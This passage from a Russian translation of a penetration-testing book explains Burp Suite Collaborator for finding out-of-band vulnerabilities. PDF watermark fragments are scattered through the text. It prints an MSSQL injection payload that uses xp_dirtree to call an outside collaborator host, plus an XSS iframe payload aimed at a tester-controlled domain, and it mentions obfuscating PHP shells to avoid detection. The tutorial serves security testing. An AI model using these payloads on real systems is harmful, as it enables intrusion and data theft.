Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / Эдриан_Прутяну_Как_стать_хакером_сборник_практическиз_сценариев.pdf
Скачиваний:
16
Добавлен:
19.04.2024
Размер:
20.34 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 172  Глава 7.Автоматизированное тестирование

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Это ненадежно, но позволит нам оставаться незамеченными немного доль-

 

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

ше.PHP Obfuscate должен работать с любым PHP-кодом,в том числе с оболочками, которые можно написать самостоятельно.

Collaborator

В предыдущей главе мы рассмотрели скрытые уязвимости в приложениях, которые могут быть неочевидны для злоумышленников. Если приложение не реагирует на ввод непредвиденных данных,возможно,оно не является уязвимым и код правильно проверяет ввод, но это также может означать, что уязвимость существует,просто она скрыта.Чтобы идентифицироватьтакие типы уязвимостей, мы передали вредоносный код, заставивший приложение подключиться к нашему командно-контрольному серверу.

Это очень полезный метод, но мы все делали вручную. Передали вредоносный код и ожидали обращения от сервера, чтобы подтвердить наличие уязвимости. Большинство тестирований приложений ограничено по времени, и проверить каждый ввод вручную на большой поверхности атаки нереально. Нужно автоматизировать этот процесс.

Ксчастью,профессиональнаяверсияBurpSuiteпозволяетиспользоватьсерверную инфраструктуру Collaborator для автоматизации внеполосного поиска уязвимостей.

Бесплатная версия не поддерживает Collaborator, однако в главе 6 «Обнаружение и эксплуатация уязвимостей в приложениях с помощью внешних сервисов» описано, как создать командноконтрольный сервер, который можно использовать для этих же целей.

Сервер Collaborator аналогичен командно-контрольному серверу,который мы настроили в главе 6 «Обнаружение и эксплуатация уязвимостей в прило­ жениях с помощью внешних сервисов», но у него есть несколько дополнительных функций. В частности, он интегрируется с модулем Scanner, чтобы автоматически выявлять трудно обнаруживаемые уязвимости. Он также менее склонен к ложным срабатываниям по сравнению с использованием ручного подхода.

Параметр Collaborator можно найти на вкладке Project options (Опции проекта). Его можно отключить или включить, чтобы использовать сервер по умолчанию или закрытый экземпляр.

На высоком уровне Collaborator работаеттак.

1. Сканер Burp генерирует полезную нагрузку для обнаружения уязвимос­ тей, подверженных SQL-инъекциям:

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

F

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

Collaborator  173 BUY

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

.c

 

 

 

 

p

 

 

 

g

 

 

';declare @q varchar(99);set

 

 

 

df

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

@q='\\bXkgY3JlZGl0IGNhcmQgbnVtYmVyIGlz.burpcollaborator.net\tes t'; exec master.dbo.xp_dirtree @q;--

2.Приложение асинхронно выполняет SQL-запрос.

3.SQL-инъекция прошла успешно.

4.SQL-серверпытаетсяотобразитьобщийресурсSMBвслучайносгенери-

рованном домене burpcollaborator.net.

5.Выполняется просмотр DNS-записей:

сервер Collaborator регистрирует попытку DNS-запроса.

6.Устанавливается соединение по протоколу SMB, и возвращаются фиктивные данные:

сервер Collaborator также регистрирует эту попытку подключения по протоколу SMB.

7.Клиент Burp регистрируется на сервере Collaborator.

8.Сервер Collaborator сообщает о двух проблемах:

был сделан запрос DNS;

наблюдалось сервисное взаимодействие для SMB.

Плюс Collaborator состоит в том, что случайно сгенерированный уникальныйдоменможетбытьфактическисвязансконкретнымзапросом,сделанным сканером. Это точно говорит нам, какой URL-адрес и какой параметр уязвим для SQL-инъекции.

Открытый сервер

СерверCollaboratorпоумолчанию–этоэкземпляр,управляемыйPortSwigger, разработчиком Burp Suite.Он находится на burpcollaborator.net,а поддержка встроена в Burp.

Как и следовало ожидать, экземпляр Collaborator по умолчанию доступен каждому, у кого есть копия профессиональной версии Burp, а ресурсы распределяютсямеждувсемиегопользователями.Сточкизренияконфиденциальности пользователи не могут видеть запросы Collaborator друг друга. Каждая полезная нагрузка уникальна и создается Burp Suite для каждого запроса. Обмен данными зашифрован, и для извлечения любых данных с сервера требуется уникальный код.

Burp Collaborator делает ряд шагов, чтобы гарантировать безопасность­ данных. Можно найти подробную информацию обо всем этом на странице https://portswigger.net/burp/help/

collaborator.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 174  Глава 7.Автоматизированное тестирование

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Чтобы включитьCollaborator,можно перейти на вкладку Misc в разделе Pro­

 

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

ject options (Опции проекта) и выбрать кнопку Use the default Collaborator server (Использовать сервер Collaborator по умолчанию), как показано на рис. 7.18.

Рис.7.18. Настройка сервера Collaborator

Для использования общедоступной версии сервера никакой дополнительной информации не требуется.Мы можем выполнить проверку работоспособности, чтобы проверить, сможет ли клиент Burp Suite пройти ее, прежде чем мы начнем тестирование, нажав кнопку Run health check… (Запустить проверку работоспособности…) на странице конфигурации.Появится новое окно, в котором будет отображаться текущая проверка работоспособности со статусом для каждой проверки, как показано на рис. 7.19.

Проблемы с соединением по протоколу SMTP не редки,если у вас интернетпровайдер, который все еще блокирует исходящие соединения на портах, ис- пользуемыхспам-ботами.Скореевсего,интернет-провайдервашейжертвыне является домашним и подобные типы ограничений отсутствуют, по крайней мере на уровне провайдера.Выходная фильтрация можетпрепятствоватьвнеполосному обнаружению, при котором частный экземпляр в локальной сети оказывается полезным.Обсудим развертывание частного сервера Collaborator позже.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Collaborator 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

175 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис.7.19. Проверка работоспособности Collaborator

Взаимодействие служб

Чтобы увидеть Collaborator в действии, можно указать Active Scanner на уязвимое приложение, дождаться, пока он запустит одну из сгенерированных полезных нагрузок, и выполнить подключение к общедоступному серверу

Collaborator burpcollaborator.net.

Damn Vulnerable Web Application является хорошим испытатель-

ным стендом для Collaborator: http://www.dvwa.co.uk.

Рис.7.20. Внеполосные уязвимости,обнаруженные Collaborator

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 176  Глава 7.Автоматизированное тестирование

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Клиент Burp Suite периодически регистрируется на сервере Collaborator,

 

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

чтобы узнать о любых записанных соединениях. В предыдущем случае мы видели, что приложение, уязвимое для внедрения команд, было вынуждено обманом подключиться к экземпляру Collaborator в облаке, выполнив запрос DNS-записей для уникального домена.

Сервер Collaborator перехватил этот DNS-запрос от уязвимого приложения, записал его и уведомил нас об этом. Наш клиент Burp Suite связал взаимодействие служб, о котором сообщает Collaborator, с конкретным запросом и выделил его для удобства просмотра.

Все это было сделано автоматически в фоновом режиме. С помощью Collaborator можно покрыть большую поверхность атаки и быстро и эффективно найти скрытые ошибки.

Клиент Collaborator

В некоторых ситуацияхActive Scannerдля обнаружения этих проблем может бытьнедостаточно.Предположим,мыподозреваем,чтоопределенныйкомпонент целевого приложения уязвим для SQL-инъекции вслепую или хранимой XSS-атаки.

Для того чтобы эксплойт сработал, его нужно обернуть каким-либо типом кодирования или шифрования и передать в приложение для последующего декодирования, дешифрования и выполнения. Active Scanner не сможет подтвердитьналичиеэтойуязвимости,потомучтооннезнаетопользовательских требованиях для доставки полезной нагрузки.

Хорошей новостью является то, что мы по-прежнему можем использовать Collaborator,чтобывыявитьуязвимостивэтихтруднодоступныхобластяхприложения. Burp Suite также поставляется в комплекте с клиентом Collaborator, который можетгенерировать определенное числотаких уникальных доменов, которые будут использоваться при атаке с помощью модуля Intruder.

Клиент Collaborator можно запустить из меню Burp.

Рис.7.21. Запуск клиента Collaborator из меню Burp

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

Collaborator  177 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Чтобы сгенерировать уникальные домены для использования в пользова-

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

тельскихполезныхнагрузках,введитежелаемоечислоинажмитекнопкуCopy to clipboard (Копировать в буфер обмена). Burp добавит разделенные новой строкой домены в буфер обмена для дальнейшей обработки.

Рис.7.22. Окно клиента Collaborator

Как только вы закроете окно клиента Collaborator,сгенерированные домены будут признаны недействительными, и, возможно, вам не удастся обнаружить внеполосные обращения к сервисам.

Мы можем взять один из этих доменов и использовать его для своей атаки. Приложение принимает запрос,но не выдает никаких данных.Наша полезная нагрузка представляет собой простой код для выполнения XSS-атаки, предназначенной для создания тега iframe, который перенаправляет в домен, созданный клиентом Collaborator.

"><iframe%20src=[collaborator-domain]/>

Если приложение уязвимо, этот эксплойт создаст новый тег iframe. Он подключитсяобратноксерверу,которыймыконтролируем,подтверждаяналичие уязвимости (см. рис. 7.23).

Надеемся,что этот код будет выполнен в какой-то момент,возможно,когда администратор перейдет на страницу, отвечающую за обработку данных запросов.Если приложение уязвимо,iframe попытается перейти к внедренному URL-адресу.

При этом возникают следующие побочные эффекты:

DNS-запрос выполняется по отношению к домену src;

HTTP-запрос выполняется по отношению к IP-адресу, ассоциированному с доменом src.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 178 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Глава 7.Автоматизированное тестирование

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

d

f

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

Рис.7.23. Отправка домена Collaborator в полезной нагрузке XSS

По умолчанию клиент Collaborator будет опрашивать сервер каждые 60 секунд,но его можно заставитьвыполнитьпроверку влюбой момент.Если жертва запустит вредоносный код, Collaborator сообщит нам об этом.

Рис.7.24. Клиент Collaborator показывает взаимодействие между службами